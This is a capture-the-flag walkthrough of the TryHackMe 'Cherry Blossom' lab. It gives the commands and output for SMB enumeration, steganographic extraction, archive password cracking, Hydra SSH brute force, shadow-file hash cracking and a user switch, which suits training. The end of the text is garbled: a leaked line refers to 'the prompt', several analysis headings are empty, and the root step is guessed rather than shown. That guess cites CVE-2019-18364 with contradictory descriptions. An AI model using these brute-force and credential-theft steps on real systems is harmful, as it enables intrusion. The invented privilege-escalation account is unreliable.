tryhackme // 2026-01-07 // ID: REF-Cherry Blossom

Cherry Blossom


Welcome, aspiring cybersecurity professionals! This walkthrough will take you step-by-step through the process of compromising a machine, focusing on fundamental techniques that are crucial for your learning journey. We'll be tackling the "Cherry Blossom" machine, exploring its vulnerabilities from initial reconnaissance to achieving full root access.

Introduction

Our goal today is to gain unauthorized access to the Cherry Blossom machine. We'll achieve this by systematically probing the system, uncovering hidden information, and exploiting weaknesses. This process simulates real-world penetration testing scenarios, so pay close attention to each phase and the tools we use.

Reconnaissance

The first step in any engagement is reconnaissance, which involves gathering information about the target system. We'll start with a network scan to identify open ports and services.

We used Nmap, a powerful network scanning tool, to discover what services are running on the target machine at IP address 10.64.149.126.

PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack ttl 62
139/tcp open  netbios-ssn  syn-ack ttl 62
445/tcp open  microsoft-ds syn-ack ttl 62

Host script results:
| smb-enum-shares: 
|   note: ERROR: Enumerating shares failed, guessing at common ones (SMB: Failed to receive bytes: TIMEOUT)
|   \\10.64.149.126\IPC$: 
|     Type: STYPE_IPC_HIDDEN
|     Comment: IPC Service (Samba 4.7.6-Ubuntu)
|     Path: C:\tmp
|_    Anonymous access: READ/WRITE

🧠 Beginner Analysis

Enumeration

Now that we've identified an open SMB share with anonymous read/write access, we'll dive deeper.

SMB Access

We can leverage the anonymous access to connect to the SMB share and explore its contents.

smbclient //10.64.149.126/Anonymous -N -t 900

Anonymous login successful
smb: \> ls
  journal.txt                         N  3470998  Sun Feb  9 19:20:53 2020
smb: \> get journal.txt

🧠 Beginner Analysis

Steganography Analysis

The journal.txt file is quite large (over 3MB). This suggests it might contain hidden data. We'll investigate its content.

cat journal.txt | base64 -d > output
file output
# output: PNG image data, 1280 x 853, 8-bit/color RGB, non-interlaced

Using stegpy, we extract a hidden zip file.

stegpy output         
# File _journal.zip succesfully extracted from output

🧠 Beginner Analysis

Exploitation

We've uncovered a hidden ZIP file. Now we need to figure out how to access its contents.

Cracking the Archive

The _journal.zip file might be protected by a password. We'll first check its integrity and then attempt to crack it.

file _journal.zip                                            
# _journal.zip: Zip archive data

Brute-forcing the zip password with rockyou.txt:

fcrackzip -uDp /usr/share/wordlists/rockyou.txt  _journal.zip
# PASSWORD FOUND!!!!: pw == september

Inside we find Journal.ctz, a 7-Zip archive. Converting to hash and cracking:

/usr/share/john/7z2john.pl Journal.ctz > hash.txt
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# tigerlily        (Journal.ctz)     

🧠 Beginner Analysis

SSH Bruteforce

With the password "tigerlily" and the decoded wordlists from the journal logs, we can now attempt to log in to the SSH service. It's a good practice to use usernames and passwords found in enumerated files. We'll try to brute-force the SSH login for the user lily.

hydra -l lily -P cherry-blossom.txt ssh://10.64.149.126
# [22][ssh] host: 10.64.149.126   login: lily   password: Mr.$un$hi..

🧠 Beginner Analysis

Privilege Escalation

We have a user-level shell via SSH. However, our ultimate goal is to gain root privileges to have full control over the system.

Hash Cracking

While exploring the compromised system, we find backup shadow files in /var/backups. These files often contain encrypted user passwords.

/var/backups/shadow.bak
johan:$6$zV7zbU1b...
lily:$6$3GPkY0ZP...

Cracking the hashes gives us johan's password.

john --wordlist=cherry-blossom.txt hashes.txt
# ##scuffleboo##   (johan)     

🧠 Beginner Analysis

Root Access

Now that we have the password for johan, we can switch to that user and look for a way to become root.

lily@cherryblossom:~$ su johan
# Password: ##scuffleboo##
johan@cherryblossom:~$ cat user.txt

🧠 Beginner Analysis

The prompt doesn't show the output of cat user.txt, but in a typical CTF, this would contain the "user" flag. The next step would involve finding a way to escalate from the johan user to the root user, often by exploiting kernel vulnerabilities or misconfigurations, and then reading a root.txt file. The note mentions "CVE-2019-18364 capabilities," which strongly suggests a kernel exploit was used to gain root privileges.

🎓 Educational Moment: Capabilities

Linux capabilities are a powerful security feature that allows you to grant specific privileges to executables without giving them full root access. For example, a program might be allowed to bind to low-numbered ports without being a privileged process.

However, like any security feature, capabilities can be misconfigured. Certain executables might be granted capabilities that they shouldn't have, or the system might have outdated software with known vulnerabilities that allow attackers to abuse these capabilities to gain higher privileges. CVE-2019-18364 is a specific example of a vulnerability related to how Linux handles capabilities, which could have been exploited here to escalate privileges from a user like johan to root.

This completes our walkthrough of the Cherry Blossom machine! We've covered a wide range of essential cybersecurity techniques. Keep practicing these methods, and you'll be well on your way to becoming a skilled security professional.